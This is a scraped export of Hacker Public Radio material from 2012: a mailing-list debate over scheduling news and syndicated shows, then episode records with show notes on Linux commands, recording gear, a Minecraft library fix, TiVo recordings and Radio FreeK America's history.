      \nFrom: Ken Fallon\nDate: Mon, 30 Apr 2012 20:00:31 +0200\n\nHi All,\n\nWe mention it on today's show that /dev/random was in the queue for a\nlong time and some of the news may have been out of date. Would it be\nan idea to switch one of the days to a \"News\" show so that we can\ncarry shows that review news. Any shows in there would follow the\nregular scheduling rules\nhttps://hackerpublicradio.org/calendar.php#scheduling_rules.\n\nIt's a discussion - let your voice be heard\n\nKen.\n\nFrom: kevin granade\nDate: Mon, 30 Apr 2012 13:27:25 -0500\n\nI think this is a good idea, in fact, perhaps people could request a\npriority level?  Most show ideas I have could sit in the queue for a while,\nand I'd be happy to let more timely shows move ahead.\n\nFrom: lostnbronx\nDate: Mon, 30 Apr 2012 16:02:15 -0700\n\nI Think a certain day could easily be put aside as a day for topical\nor timely episodes.  It might be best, though, not to announce it as\nbeing such to the general listenership, so that if there's a dearth of\nnews-type shows one week, another type of ep can be dropped in without\nany need for a special announcement.\n\n\nFrom: Kevin O'Brien\nDate: Tue, 01 May 2012 16:03:11 -0400\n\nI'm going to try this again since I hit the wrong button last time and\nsent it Ken personally instead of to the list.\n\nJust for the sake of discussion it occurs to me that while DeepGeek is\non a hiatus for the moment, he had a weekly news spot every Friday. I\ndon't know if there is any understanding that he will come back and\nresume his spot, but if so, would this mean 2 days a week reserved for\nnewscasts? That might be a bit much.\n\nRegards,\n\n--\nKevin B. O'Brien\nzwilnik@zwilnik.com\n\"A damsel with a dulcimer in a vision once I saw.\"\n\nFrom: lostnbronx\nDate: Mon, 30 Apr 2012 16:02:15 -0700\n\nI Think a certain day could easily be put aside as a day for topical\nor timely episodes.  It might be best, though, not to announce it as\nbeing such to the general listenership, so that if there's a dearth of\nnews-type shows one week, another type of ep can be dropped in without\nany need for a special announcement.\n\n\nFrom: Cobra2\nDate: Tue, 01 May 2012 17:30:34 -0300\n\nI honestly don't think news should be broadcast over HPR as it dilutes\nthe technology how to with mindless dribble that can be found almost\nanywhere else.\n-- cobra2\n\nFrom: Todd\nDate: Tue, 1 May 2012 20:30:10 -0500\n\nI think HPR is a real treasure.  Where else can so many people share\ntheir ideas.  The strength of HPR is anything and everything is\nacceptable content as long as it is of interest to hackers.  But as I\nlook back over the history of HPR, most attempts to add structure or a\nrigorous schedule just haven't worked.  The one exception is the\ncurrent policy of syndicated Thursdays.\n\nI have to agree with cobra2. If people want to do news shows, that's\ngreat.  But IMHO, unless it is really important (event announcements)\nit should take it's place in the queue with everybody else.  Shows\nlike /dev/random are awesome, but it's not because of the news they\ncover.  There awesome because the guests are hilarious.  The stories\njust give them something to talk about.  Even when their news is\nweeks old, they are still fun to listen to.\n\nSo, there's my two cents.  For what it's worth from a long time\nlistener who has never contributed a show.\n\nTodd\n\nFrom: Jason Dodd\nDate: Fri, 04 May 2012 03:56:46 -0400\n\nWhy reserve any day?  One of the things I like about hpr is I don't know\nwhat to expect.  The more I know what to expect I think the less I'll\nlike it.\n\nFrom: Kevin O'Brien\nDate: Fri, 04 May 2012 12:02:29 -0400\n\nI'm a great believer in moderation in most things. I look forward to\nmany of the scheduled shows, and the ones that may not appeal to me\nprobably appeal to lots of other folks. But I would favor not adding to\nthem because part of the charm of HPR is not knowing what to expect.\nAbout one time out of every 30-40 shows I will hit the \"Next\" button on\nmy MP3 player, which is not bad, really. But I would rather the\noccasional show that does not appeal to me than missing out on the gems.\n\nRegards,\n\n--\nKevin B. O'Brien\nzwilnik@zwilnik.com\n\"A damsel with a dulcimer in a vision once I saw.\"\n\nFrom: Cobra2\nDate: Fri, 04 May 2012 13:20:18 -0300\n\nI'm not in favor of dropping rule #2. Unless it is going to be used to\nsyndicate some sort of news show. News is not content it's just a\nfiller if there is nothing else left to talk about.\n\nI know the rules state of interest to hackers. But the history of HPR\nand TWAT has been mostly shows that dig deep into a piece of software\nor hardware or are a detailed how to. Shows that have a fairly long\nshelf life not something that can be outdated if a week or two passes\nby.\n-- cobra2\n\nFrom: Frank Bell\nDate: Fri, 4 May 2012 18:53:41 -0400\n\nI tend to agree with this.\n\nAlso, as someone who is very new here, I am concerned that, if many\nslots are filled up with scheduled shows, aspiring contributers miight\nbe dismayed to find that a show uploaded, say today, might not be\nposted until late June or July.   This can be a demotivator.\n\nAs an aside, I can count on both sets of fingers the number of shows\nI've hit \"Next\" on.  The variety of HPR is one of its main attractions\nfor me.  Usually, when I do hit \"Next,\" it's because the topic is so\ntechnical (say, a programming language) that I can't follow it.\n\nOnce or twice--no more than that--it has been because the premise of the\nshow was nonsensical--nevertheless, thanks to HPR, I got to hear and\nevaluate the premise, which, without the HPR's variety, I would not have\nhad the opportunity to do.\n\nFrom: Ken Fallon\nDate: Sat, 5 May 2012 09:14:08 +0200\n\nOK All,\n\nWhat I'm hearing is that the following shows will be dropped into the\nregular First come First Served Queue:\nTalk Geek To Me News.\nDev Random\n\nThe following show will be dropped from Syndicated Thursday.\nSunday Morning Linux Review.\n\nIs this correct ?\n\nKen.\n\nFrom: dg\nDate: Sat, 5 May 2012 07:09:38 -0400\n\nHi, Guys,\n\nJust wanted to say that whatever you decide is fine by me. The news\nshows I submit to HPR are actually \"one half\" of my regular show. That\nis to say, I do a special tech-only version of my full world+tech news\nshow for HPR.\n\nTherefore, in theory, a news-lover would be able to go to my website\nand subscribe via RSS and get my shows rather quickly, if they so\ndesired.\n\nHowever, I also need to point out two more things.  First, I agree with\nanother poster that a distinction needs to be made between a show that\nis about the guests, with current events thrown in as something for\nthem to comment upon; as opposed to my show which is purely about the\nstories (I do rarely make editorial comments, but I try to keep my\npersonal opinions to a minimum.)\n\nSecond, I disagree with yet another poster that what I offer should be\n\"filler\" and qualifies as something \"that can be found almost\nanywhere.\" The whole point of all the stories I cover is that a) they\nare not covered by the mainstream media and b) they are, nevertheless,\ntimely and important news. In regards to this opinion, I ask you to\nconsider whether or not it is widely held amongst the general\nlistnership, which to I understand is not entirely present on this list.\n\nThanks for considering,\n---\nDeepGeek\n\n\nFrom: Fifty OneFifty\nDate: Sat, 5 May 2012 12:51:29 -0500\n\nI our discussion of whether we want to keep syndicated shows, we should not\nlose sight of the fact that last year Ken was really scrambling to find\ncontent to keep HPR broadcasting on a daily basis.  While I think most of\nthe shows in syndication would understand, I hate to put Ken in the\nposition of saying, \"Thanks, but we don't need you any more\".  As for\nvariety, maybe we consider offering syndicated shows a limited run, 2 or 3\nshows, not in consecutive weeks, as an introduction to our listener base.\nAfterwards it would be incumbent on our listeners to add those shows to\ntheir queue if they like what they hear.  It will also be up to\ncontributors and listeners to look for new shows that we can invite for\ntemporary syndication, like pokey has with https://distributedpodcast.com.\n\nFiftyOneFifty\n\nFrom: David Whitman\nDate: Sat, 5 May 2012 11:14:31 -0700\n\nI posted this on Henry Patrick Riley (Goggle+)\n\nWhat about making a MEGA syndicated day and combining 2 or more shows\ntogether with intro music between and posting the run time when one show\nends and another begins? Rotate the order which show airs first.\n\nThe following is more comments not on G+:\n\nI want produce some 'casual' shows  that could go into an 'emergency' queue\nin case there are times when the regular queue get close to empty. Things I\nwant to share, but they are not time critical and I am willing to have HPR\nbank (such as How I found Linux, How to run a car in the Auto-X, A vacation\nto Moab, Utah, Troubleshooting an MR2 using a volt/ohm meter etc. My idea\nis that as soon as the emergency queue gets a month's worth of shows they\ncould be put out periodically into the regular queue. They could be tagged\nwith a 1-5 tech rating and the more techie ones used first.\n\nHow about having 2 parallel  tracks? or 3? HPR News, HPR Command Line, HPR\nProjects, a weekly show track just for news....\n\nAll good and fine - I have 3 shows that need editing to help contribute to\nthe problem.\n\nThanks to all the HPR community members and admins. I love the show.\n\ndavidWHITMAN\n\nFrom: Frank Bell\nDate: Sat, 5 May 2012 15:28:05 -0400\n\nOn Sat, 5 May 2012 12:51:29 -0500\nFifty OneFifty wrote:\n\n> I our discussion of whether we want to keep syndicated shows, we should not\n> lose sight of the fact that last year Ken was really scrambling to find\n> content to keep HPR broadcasting on a daily basis.\n\n(snip)\n\n>  As for\n> variety, maybe we consider offering syndicated shows a limited run, 2 or 3\n> shows, not in consecutive weeks, as an introduction to our listener base.\n\nI think these thoughts have a lot of merit.  I rather enjoy learning about\nnew shows through Syndicated Thursdays (I had not heard of the Sunday Morning\nLinux show until HPR introduced it to me).  Also, I must say I have heard\nsome syndicated shows that I do enjoy, but not enough to actually subscribe\nto, so I find the idea of maintaining variety appealing..\n\nMy concern is that, if there are too many dedicated days, the dedicated days\ncould turn into a regular line-up.\n\nJust my two cents.\n\nFrom: Patrick Dailey\nDate: Mon, 7 May 2012 23:17:11 -0400\n\nThis may be the \"healthiest\" discussion that I've ever seen on the HPR\nmailing list, and I love it. I want to thank each and every person\nsubscribed for keeping the conversation respectful, and on topic. Most\nmailing lists that I've seen could not have accomplished that.\n\nAs to the scheduling multi-lemma, I have a few thoughts that I would thank\nyou all in advance for considering:\n\nWe have the kind of crisis that we've always wanted, namely: we have too\nmany shows. This is an opportunity that I don't think we should squander.\nAt the same time we're trying to establish a scheduling policy that an\nunmanned system can obey. The goal, as I see it, is to create rules that\ncan deal with an abundance of shows without wasting them. Right now what we\nhave is a scheduling policy that worked very well with a lack of shows, and\nin fact it helped to replenish them. So I believe that we need either: one\nset of rules that can cope with either situation, or two sets of rules and\na way for a deterministic system to identify and transition between them.\nPlease chime in on this if you are good with policy.\n\nAs I see it, at least part of what we're dealing with is a resource\nmanagement problem. People create content for us, and sometimes they assume\nthat it has an expiration timeframe. Some content simply must be used\nbefore it's creator feels that it has expired, or we can expect that that\ncreator will seek other venues in which to publish their content. We need a\nway of distinguishing \"perishable\" content from \"non-perishable\" content.\nWe also need a way of putting a date on the perishable content. If you have\nexperience with user feedback systems, we could really use your help\n(especially) with this part.\n\nSince identifying potential problems without offering solutions is just\nbitching, I have a couple of suggestions.\n\nSyndicated Thursdays and \"timely content\"\nI for one, am grateful to the shows who have allowed us to fill holes in\nour que with their content. While the syndicated Thursday slot was\noriginally implemented out of necessity, I feel that it is an overall plus\nto continue the practice. We have developed friendly and mutually\nbeneficial relationships with other podcasts that I would be hesitant (to\nput it mildly) to sever, and there are other great podcasts that we don't\neven know about yet. I agree with Frank Bell in that I think the syndicated\nThursday feed is a great discovery tool, and I'd hate to loose it as such,\nbut I also see these shows as friends, and I want to make sure that we\ntreat them like it. I don't think it's in anyone's best interest for us to\nabandon that kind of relationship, or the content that has so generously\nbeen offered to us. If (and only if) there is a \"Timely news show\", I would\nlike to see it get the Thursday slot, but in order for the syndicated show\nto not be wasted, I would like to see that show bumped to Saturday.\n\nScheduled HPR exclusive shows and normal que shows\nI think if people commit to producing scheduled content before they record\nit, and live up to that commitment, that we should honor that commitment.\nPerhaps there needs to be some limit to the number of pre-schedulable slots\nper week and/or month that we make available, so that there is still room\nto play shows from our normal que, but we-as a group decided to ask people\nto produce content for us, and several people have stepped up and\ndelivered. Perhaps this is a situation where more than one show should be\nposted per day. I don't know.\n\nWhile it's easy for me to sit here and suggest these things, I don't think\nthat it's fair for any of us to vote for posting more than five shows per\nweek unless we are committing to posting more than the requested \"one show\nper year\" if the que ever gets low again.\n\nLastly, I believe that new hosts should continue to get the first\nunscheduled slot. This is critical to getting new people to contribute, and\nto return as hosts.\n\nIf I'm wrong, or out of line, or TLDR, or whatever... feel free to say so.\nI can take it.\n\npokey\n\nFrom: \"Frank Bell\"\nDate: Tue, 08 May 2012 13:21:53 -0400\n\nOn Mon, 07 May 2012 23:17:11 -0400, Patrick Dailey\nwrote an extremely thoughtful and useful post from the \"be careful what\nyou wish for\" department:\n\n\n> Syndicated Thursdays and \"timely content\"\n\n> loose it as such, but I also see these shows as friends, and I want to\n> make sure that we treat them like it. I don't think it's in anyone's\n> best interest for us to abandon that kind of relationship, or the\n> content that has so generously been offered to us. If (and only if)\n> there is a \"Timely news show\", I would like to see it get the Thursday\n> slot, but in order for the syndicated show to not be wasted, I would\n> like to see that show bumped to Saturday.\n\nI think this is a wise suggestion.  I wasn't here when the goal of five\ndays a week was set, but I'm inclined to think that it was intended to be\na goal, not a limit.\n\nI would suggest, as an aside, that the scheduling rules could be displayed\nmore prominently.  Currently, they are at the bottom of the calendar.  I\nthink prospective or new (like me) hosts should have their attention drawn\nto them more forcefully, perhaps by giving them their own page linked from\nthe front page and linking to them from the calendar and from the\n\"Contribute\" page.  I also suggest changing the terminology from \"rules\"\nto \"guidelines\";  that's not just PR softening of a phrase, for they are\nguidelines as exceptions can be made.\n\nIt may also be useful to suggest that new hosts glance as the calendar to\nsee when their available slots.  I would also like to see a friendlier\ncalendar, meaning one that looks more like a wall calendar.  If you all\nwish, I would be happy to explore the WordPress plugins to see what I can\nfind.\n\nI support continuing the practice of bumping new hosts up in the queue.\nIt's a recognition of effort and a motivator.  Frankly, I found it a blast\n(if an intimidating one) to look at my podplayer and see my own name\nlooking back at me.\n\n> Perhaps there needs to be some limit to the number of pre-schedulable\n> slots per week and/or month that we make available, so\n\nThis might also be a good idea and it speaks to my concern of HPR's\nturning in to a line-up of  a few scheduled shows, rather than a platform\nthat's open to newbies like me.\n\nOn the other hand, many persons have responded to the need for shows that\nKen sounded last fall, not only with shows, but by airing promos on their\nown podcasts and websites, which leads to exposre which leads to shows (by\nthe way, I think this flowering of support is a tribute to HPR and to the\nplace it has amongst the community).\n\nThe flowering may yet wither and need to be watered anew.  In other words,\nonce the enthusiasm wears off, Ken might be having to appeal for shows\nagain.\n\nIn other words, I agree with some sort of limit and I lean towards a\nmonthly one, but have no idea what would be a reasonable one.  If I were\nto try to word that as a guideline, it might come out like \"the number of\nscheduled shows and the intervals between them that HPR can commit to is\naffected by the number of submissions\" and leave it at that--that allows\nwiggle-room for adjusting to the realities of now.\n\n> that there is still room to play shows from our normal que, but we-as a\n> group decided to ask people to produce content for us, and several\n> people have stepped up and delivered. Perhaps this is a situation where\n> more than one show should be posted per day. I don't know.\n\n\"The following is an HPR special presentation . . . .\"\n\nI like it.\n\nJust my two cents.\n\nOnce again, thanks for the nice welcome.  This is a good place to be.  (I\nhave just cashed in some rewards points for a decent headset.)\n\nFrom: Ken Fallon\nDate: Wed, 9 May 2012 07:10:43 +0200\n\nI've removed the extended calendar so that we have a better view of\nwhat shows are in the queue. There are under four weeks of shows left,\nacceptable but hardly anything to celebrate about. Without TGTMNews\nand the syndicated shows I would have been back begging for shows by\nnow.\n\nJust something to keep in mind.\n\nKen.\n\nFrom: Cobra 2\nDate: Wed, 9 May 2012 13:18:51 -0300\n\nDeepgeek. I just wanted to apologize for using words which caused you to\nfeel like I don't appreciate the work that you do every week. (I pull down\nthe whole tgtm feed) I'm not going to defend or back down from what I said.\nBut I just want you to know that what YOU do is appreciated. You've been a\npart of this community for as long as I can remember. You also put most of\nus to shame on contributing content. So i'm going to go back to my corner\nand attempt to not crush people next time I crawl out of my hole.\n\nSorry again dude.\n\n--cobra2\n\nFrom: Frank Bell\nDate: Sat, 12 May 2012 17:39:48 -0400\n\nOn Wed, 9 May 2012 07:10:43 +0200\nKen Fallon <ken.fallon@gmail.com> wrote:\n\n> I've removed the extended calendar so that we have a better view of\n> what shows are in the queue.\n\nThat is much easier to read.  Thank you.\n\nI'm planning to do a simple tutorial on prepping pictures for posting to\nwebsite with the GIMP.  I started my outline today and hope to have it done\nwithin two weeks.\n
      \n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":2129,"valid":1}, {"id":1002,"date":"2012-06-05","title":"LiTS 008: free: Understanding Linux Memory Usage","duration":853,"summary":"The free command and memory usage","notes":"

      \nIn today's show Dann explains to us what it means to be free. \n

      \n

      \n\nThe free command is a handy snapshot into your systems memory and how much of it is being used. In conjunction with other tools like top you can begin to understand where your system resources are being utilized and weed out potential bottlenecks and bugs. But before jumping into the deep end in system analysis, you need to have a decent grasp on how the Linux kernel utilizes memory, or your initial observations may send you tearing through the interwebs looking for a solution to a problem that does not exist.\n\n

      \n

      \nAs ever catch the complete shownotes and video at https://www.linuxintheshell.com\n

      \n","hostid":7,"series":67,"explicit":1,"license":"CC-BY-SA","tags":"free,memory","version":0,"downloads":2811,"valid":1}, {"id":1003,"date":"2012-06-06","title":"My audio gear","duration":759,"summary":"The recording equipment of a new contributor","notes":"

      \nIn today's show long time listener first time contributer Nido Media, submits his show on his \"Recording Gear\".\n

      \n

      \nAfter looking at the Shure SM58 and the Shure SM57 he settled on the
      \nBehringer c3
      \n\"Behringer\n

      \n

      \nBehringer ps400
      \n\"Behringer\n

      \n

      \nPhonic AM 55
      \n\"Phonic\n

      \n

      \nSound Blaster XFi Surround 5.1
      \n\"Sound\n

      \n

      \nhttps://ardour.org/
      \n\"Ardour\"\n

      \n","hostid":214,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"microphone,mixer,sound card,Ardour ","version":0,"downloads":1978,"valid":1}, {"id":1004,"date":"2012-06-06","title":"Sunday Morning Linux Review Episode 34 - SUSE and Venus","duration":4732,"summary":"SMLR episode 34","notes":"In today's syndicated Thursday we again return to SMLR Towers and join Mat Enders, Tony Bemus, and Mary Tomich for Sunday Morning Linux Review Episode 34 - SUSE and Venus. The complete shownotes can be found at https://smlr.us/?p=1082","hostid":158,"series":54,"explicit":1,"license":"CC-BY-SA","tags":"SMLR,Sunday Morning Linux Review","version":0,"downloads":2254,"valid":1}, {"id":1005,"date":"2012-06-07","title":"TGTM Newscast for 2012/6/6","duration":1700,"summary":"A newscast from Talk Geek to Me","notes":"

      The review

      \n\n

      Other Headlines:

      \n\n

      News from \"rawstory.com,\" \"inthesetimes.com,\" \"spnyc.org,\" and \"allgov.com,\" and audio for \"MOC #139,\" used under arranged permission. News from \"torrentfreak.com,\" \"sacis.org.za,\" and \"eff.org\" used under permission of the Creative Commons by attribution license. News Sources retain their respective copyrights.

      \n

      Links

      \n\n","hostid":237,"series":65,"explicit":1,"license":"CC-BY-SA","tags":"newscast,TGTM","version":0,"downloads":2219,"valid":1}, {"id":1006,"date":"2012-06-08","title":"More Experiences Out of a Mental Hospital","duration":798,"summary":"Recovering from Mental Health issues","notes":"

      Miscellaneous Radio Theater 4096

      \n

      \nSigflup describes what it's like out of a mental hospital (https://hackerpublicradio.org/eps.php?id=0961) and also talks about what it's like having schizophrenia\n

      ","hostid":115,"series":71,"explicit":1,"license":"CC-BY-SA","tags":"schizophrenia,mental hospital ","version":0,"downloads":2338,"valid":1}, {"id":1007,"date":"2012-06-11","title":"My Linux Adventure, Pt. 2","duration":1566,"summary":"The second part of Bob Wooden's Linux journey","notes":"

      \nRelease year - 2012
      \nContact Info: bob.wooden@comcast.net
      \n

      \n

      \nLinks mentioned:
      \n

      \n

      \nKnoppix
      \nhttps://www.knopper.net
      \n

      \n

      \nMicro$oft
      \nIf you really want to find out about Micro$oft
      \nget out your check book and start writing checks . . .
      \n

      \n

      \nKDE
      \nwww.kde.org
      \n

      \n

      \nBSA (Business Software Alliance)
      \nwww.bsa.org
      \nhttps://en.wikipedia.org/wiki/Business_Software_Alliance
      \n

      \n

      \nAdobe Acrobat Reader
      \nhttps://get.adobe.com/reader/
      \nhttps://en.wikipedia.org/wiki/Adobe_Acrobat_Reader
      \n

      \n

      \nPhotoshop
      \nhttps://www.photoshop.com/
      \nhttps://en.wikipedia.org/wiki/Adobe_Photoshop
      \n

      \n

      \nAVG Anti-virus FREE
      \nhttps://free.avg.com/us-en/homepage
      \nhttps://en.wikipedia.org/wiki/AVG_%28software%29
      \n

      \n

      \nOpenOffice
      \nwww.openoffice.org
      \n

      \n

      \nFirefox
      \nhttps://www.mozilla.org/en-US/firefox/fx/
      \n

      \n

      \nThunderbird
      \nhttps://www.mozilla.org/en-US/thunderbird/features/
      \n

      \n

      \nCCleaner
      \nhttps://www.piriform.com/ccleaner
      \n

      \n

      \nSpybot
      \nhttps://www.safer-networking.org
      \n

      \n

      \nSpywareblaster
      \nhttps://www.javacoolsoftware.com/spywareblaster.html
      \n

      \n

      \nCutePDF
      \nwww.cutepdf.com
      \n

      \n

      \nJK Defrag (became MyDefrag)
      \nhttps://kessels.com/jkdefrag/
      \nhttps://www.mydefrag.com/
      \n

      \n

      \nRealVNC
      \nwww.realvnc.com
      \n

      \n

      \nIPCop
      \nwww.ipcop.org
      \n

      \n

      \nSmoothwall
      \nwww.smoothwall.org
      \n

      \n

      \nVPN (Virtual Private Network)
      \nhttps://en.wikipedia.org/wiki/Virtual_private_network
      \n

      \n

      \nVNC (Virtual Network Computing)
      \nhttps://en.wikipedia.org/wiki/Virtual_Network_Computing
      \n

      \n

      \nSamba
      \nwww.samba.org
      \n

      \n

      \nUbuntu
      \nwww.ubuntu.com
      \n

      \n

      \nSuSE
      \nwww.suse.com
      \n

      \n

      \nOpenSuSE
      \nwww.opensuse.org
      \n

      \n

      \nLSI MegaRAID i4
      \nhttps://en.wikipedia.org/wiki/American_Megatrends
      \n(American Megatrends was sold to LSI Logic in 2001)
      \n

      \n

      \nDell CERC ATA
      \n(your best bet here is to just Google the name)
      \n

      \n

      \nUnison (created at the University of Pennsylvania)
      \nhttps://www.cis.upenn.edu/~bcpierce/unison/
      \n

      \n

      \nIBM
      \nwww.ibm.com
      \n

      \n

      \nPBX (Private Branch eXchange)
      \nhttps://en.wikipedia.org/wiki/Private_branch_exchange#Private_branch_exchange
      \n

      \n

      \nVOIP (Voice Over Internet Protocol)
      \nhttps://en.wikipedia.org/wiki/Voice_over_IP
      \nhttps://www.voip-info.org/ (VERY GOOD source of non-objective info)
      \n

      \n

      \nTrixbox CE
      \nhttps://fonality.com/trixbox/trixbox-line-asterisk-based-ip-pbx-products
      \n

      \n

      \nDigium (\"port\" card to connect 'POTS' lines to Trixbox.)
      \nwww.digium.com
      \n

      \n

      \nIVR (Interactive Voice Recognition)
      \nhttps://en.wikipedia.org/wiki/Interactive_voice_response
      \n

      \n

      \nDebian
      \nwww.debian.org
      \n

      \n

      \nHylafax
      \nwww.hylafax.org
      \n

      \n

      \nThis is the 'how to' Debian page I referenced
      \nhttps://www.aboutdebian.com/fax.htm
      \n

      \n

      \nClonezilla
      \nhttps://clonezilla.org/
      \n

      \n

      \nssh
      \nhttps://en.wikipedia.org/wiki/Secure_Shell
      \n

      \n

      \nSmartmontools
      \nhttps://sourceforge.net/apps/trac/smartmontools/wiki
      \n

      \n","hostid":206,"series":29,"explicit":1,"license":"CC-BY-SA","tags":"linux,knoppix,kde,BSA,OpenOffice,Firefox,Thunderbird,Samba,Ubuntu,SuSE,OpenSuSE,Debian","version":0,"downloads":2335,"valid":1}, {"id":1008,"date":"2012-06-12","title":"Fix the \"Sticky Keys\" Bug in Minecraft","duration":636,"summary":"A way to correct a Minecraft bug","notes":"

      \n A quickie episode by Windigo\n that covers a fix for the \"Sticky Keys\" bug in Minecraft on Linux.\n

      \n

      \n The \"Sticky Keys\" bug causes the Minecraft client to act as if a button\n hasn't been released when it has - which causes your character, Steve, to\n suffer some awful consequences as a result (depending on what situation\n you are in when the bug occurs).\n

      \n

      \n Upgrading the LWJGL libraries/drivers that\n come with Minecraft usually fixes this bug. To upgrade the drivers, do the\n following:\n

      \n
        \n
      • \n Download an updated version of the LWJGL libraries\n
          \n
        • \n LWJGL 2.8.0\n - Not the latest release, but worked great for me\n
        • \n
        \n
      • \n
      • \n Copy the following files from lwjgl-2.8.0/jar/ in the zip\n file you downloaded to /home/[youruser]/.minecraft/bin/,\n replacing the existing files there:\n
          \n
        • jinput.jar
        • \n
        • lwjgl.jar
        • \n
        • lwjgl_util.jar
        • \n
        \n
      • \n
      • \n Copy all of the files from lwjgl-2.8.0/natives/ in the\n zip file you downloaded to\n /home/[youruser]/.minecraft/bin/natives/, again replacing the\n existing files there\n
      • \n
      \n

      \n If you still encounter issues with the new versions of the libraries, try a\n newer or older version until you find one that works with your system. 2.8.0\n happens to work for my setup (Debian Stable w. Sun Java), but YMMV - your\n Minecraft may vary.\n

      \n

      Links

      \n
        \n
      1. https://micro.fragdev.com/windigo/
      2. \n
      3. https://minecraft.net
      4. \n
      5. https://lwjgl.org
      6. \n
      7. https://sourceforge.net/projects/java-game-lib/files/Official%20Releases/LWJGL%202.8.0/lwjgl-2.8.0.zip/download
      8. \n
      \n\n","hostid":196,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Minecraft,LWJGL libraries ","version":0,"downloads":2336,"valid":1}, {"id":1009,"date":"2012-06-13","title":"John Sullivan Why should I care about Free software?","duration":3190,"summary":"A talk from John Sullivan of the Free Software Foundation","notes":"John Sullivan is the Executive Director of the Free Software Foundation\nRecorded at the Northeast GNU/Linux Fest 2012-03-17","hostid":158,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"NELF,FSF ","version":0,"downloads":2201,"valid":1}, {"id":1010,"date":"2012-06-14","title":"John Doe on copyright infringement lawsuits","duration":1323,"summary":"An account of being sued for copyright infringement","notes":"rfcexpress.com -- lists copyright cases, including mine
      \n
      \nvarious blogs:
      \n https://anonsofliberty.wordpress.com
      \n https://dietrolldie.wordpress.com
      \n https://fightcopyrighttrolls.com
      \n
      \ncopy of motion to quash identity & sever defendants -- they are everywhere now
      \n
      \n https://www.eff.org/issues/file-sharing/subpoena-defense
      \n
      \ncontact PAJohnDoe178@yahoo
      \n","hostid":158,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"copyright,BitTorrent,subpoena","version":0,"downloads":2536,"valid":1}, {"id":1011,"date":"2012-06-15","title":"NELF interview with Robert_Schweikert of Open Suse","duration":1122,"summary":"Interview with Robert Schweikert at NELF","notes":"https://www.opensuse.org/en/","hostid":128,"series":78,"explicit":1,"license":"CC-BY-SA","tags":"Interview,NELF,Open Suse","version":0,"downloads":2112,"valid":1}, {"id":1012,"date":"2012-06-18","title":"LiTS 009: w command and linux load averages","duration":1005,"summary":"Show who is logged on and what they are doing with the w command","notes":"Today's show is brought to you by the letter \"w\" and the number \"9\"
      \n\nTo be more specific it's about the w command and Linux load averages
      and it's brought to you by Dann from Linux In The Shell. Dann aims to explore the use of many commands a user can run in the Bash Shell. Tutorials include a write up with examples, an audio component about the write up, and a video component to demonstrate the usage of the command.\nhttps://www.linuxintheshell.com/\n","hostid":7,"series":67,"explicit":1,"license":"CC-BY-SA","tags":"load average,w command","version":0,"downloads":2596,"valid":1}, {"id":1013,"date":"2012-06-19","title":"Saving Programs From TiVo","duration":2034,"summary":"How to make copies of programs from TiVo for long-term use","notes":"

      kmttg, which I use to download from TiVo, can be found at: https://code.google.com/p/kmttg/

      \n

      The Java Runtime Environment should be in your distro's repositories, but you can also get it at: https://java.com/en/download/index.jsp

      \n

      tivodecode is available at the kmttg site as above.

      \n

      curl, mencoder, and ffmpeg should all be found in your distro's repositories.

      \n

      Handbrake can be found at: https://handbrake.fr/downloads.php

      \n

      Comskip can be found at: https://www.kaashoek.com/comskip/

      \n

      AtomicParsley can be found at: https://atomicparsley.sourceforge.net/

      \n

      kdenlive can be found in your distro's repositories or at https://www.kdenlive.org/

      \n

      And finally, all of the information in this program can also be found at my web site at: https://www.zwilnik.com/?page_id=138

      \n
      \n

      To submit a talk for Ohio LinuxFest, please go to https://ohiolinux.org/callfortalks for more information.

      \n

      Remember to support free software!

      \n","hostid":198,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"TiVo,kmttg,tivodecode,curl,mencoder,ffmpeg,Handbrake,Comskip,AtomicParsley,kdenlive","version":0,"downloads":2075,"valid":1}, {"id":1014,"date":"2012-06-20","title":"Radio FreeK America 15 (2002/06/05) - Special Rax-only Episode","duration":3850,"summary":"An RFA show from 2002, with historical notes from Wikipedia","notes":"

      \nSyndicated Thursday provides an opportunity to showcase other Creative Commons works. We try to expose podcasts, speeches, presentations, music, etc that you may not have heard. If you have suggestions for items then send your recommendation to admin at hpr and we'll add it to the queue.\n

      \n

      \nOn every page on Hacker Public Radio we acknowledge our roots and so we now play a show that was first aired 10 years and 16 days ago. Although not a typical episode of Radio FreeK America 15 (2002/06/05) - Special Rax-only Episode, it embodies the spirit of RFA.\n

      \n

      \nAll the old shows can be found at https://www.oldskoolphreak.com/radio.html and they are well worth a listen\n

      \n

      \nThe wikipedia article on RFA (https://en.wikipedia.org/wiki/Radio_FreeK_America) has been deleted with the note:
      \n\n00:16, 12 December 2007 Maxim (talk | contribs) deleted page Radio FreeK America (Deleted because expired WP:PROD; Utterly NN Internet radio stream, defunct since 2004, without one discernible reliable source, no references on the page, and no assertion of notability. using TW)\n
      \nFortunately a copy was kept at https://encycl.opentopia.com/term/Radio_FreeK_America.\n

      \n

      IF YOU ARE A WIKIPEDIA EDITOR PLEASE CONTACT ADMIN @ HPR

      \n\n

      \nRadio FreeK America was a Hacking and Phreaking related Internet Radio show primarily based out of Arizona and initially hosted by dual_parallel. The title is often abbreviated to RFA in text.\nThe first episode appeared on February 20 2002. It lasted forty five minutes and twelve seconds. The last episode aired on February 20 2004 and lasted two hours, forty two minutes, and twenty nine seconds. During these two years, Radio FreeK America had a total of ninety nine shows (including a lost episode #76, of which no file exists).\n
      \n\"Radio\n
      \nRadio FreeK America logo\n

      \n\n\n

      History

      \n

      \ndual_parallel presented the idea for the show to two individuals at the [Phoenix 2600] meeting, Rax and Kondor in December of 2001 or January of 2002. \"dual\" (as he later came to be known as) recorded the first \"segment\" of Radio FreeK America (RFA) on 2/2/2002. The first show was \"broadcast\" via RantRadio on 2/20/2002. The first several episodes were co-hosted by Rax and Kondor.\n

      \n

      \nThroughout the series, other guests such as StankDawg (who would later go on to develop [Binary Revolution],) Meme, Zapperlink, bland_inquisitor, Bi0s, and W1nt3rmut3, as well as a few other notable guests from the Telecommunications Industry, who remained nameless, became common guests and co-hosts.\n

      \n

      \nThe show originally was recorded and encoded to mp3 format and released on the website every Wednesday. Around episode nine, streaming began offered by Rant Radio and went out every Tuesday at 19:00 EST.\n

      \n

